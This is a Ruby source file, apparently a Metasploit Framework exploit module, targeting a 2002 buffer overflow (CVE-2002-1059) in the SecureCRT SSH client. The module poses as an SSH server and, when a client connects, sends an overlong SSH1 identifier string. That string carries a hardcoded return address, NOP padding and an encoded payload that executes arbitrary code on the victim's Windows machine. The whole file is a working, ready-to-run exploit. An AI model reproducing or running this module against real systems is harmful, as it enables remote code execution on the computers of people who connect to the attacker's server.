78 lines
1.9 KiB
Ruby
78 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in SecureCRT <= 4.0
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Beta 2. By sending a vulnerable client an overly long
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SSH1 protocol identifier string, it is possible to execute
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arbitrary code.
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This module has only been tested on SecureCRT 3.4.4.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2002-1059' ],
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[ 'OSVDB', '4991' ],
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[ 'BID', '5287' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00",
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'MaxNops' => 0,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jul 23 2002',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
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buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded
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print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
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client.put(buffer)
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handler
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service.close_client(client)
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end
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end
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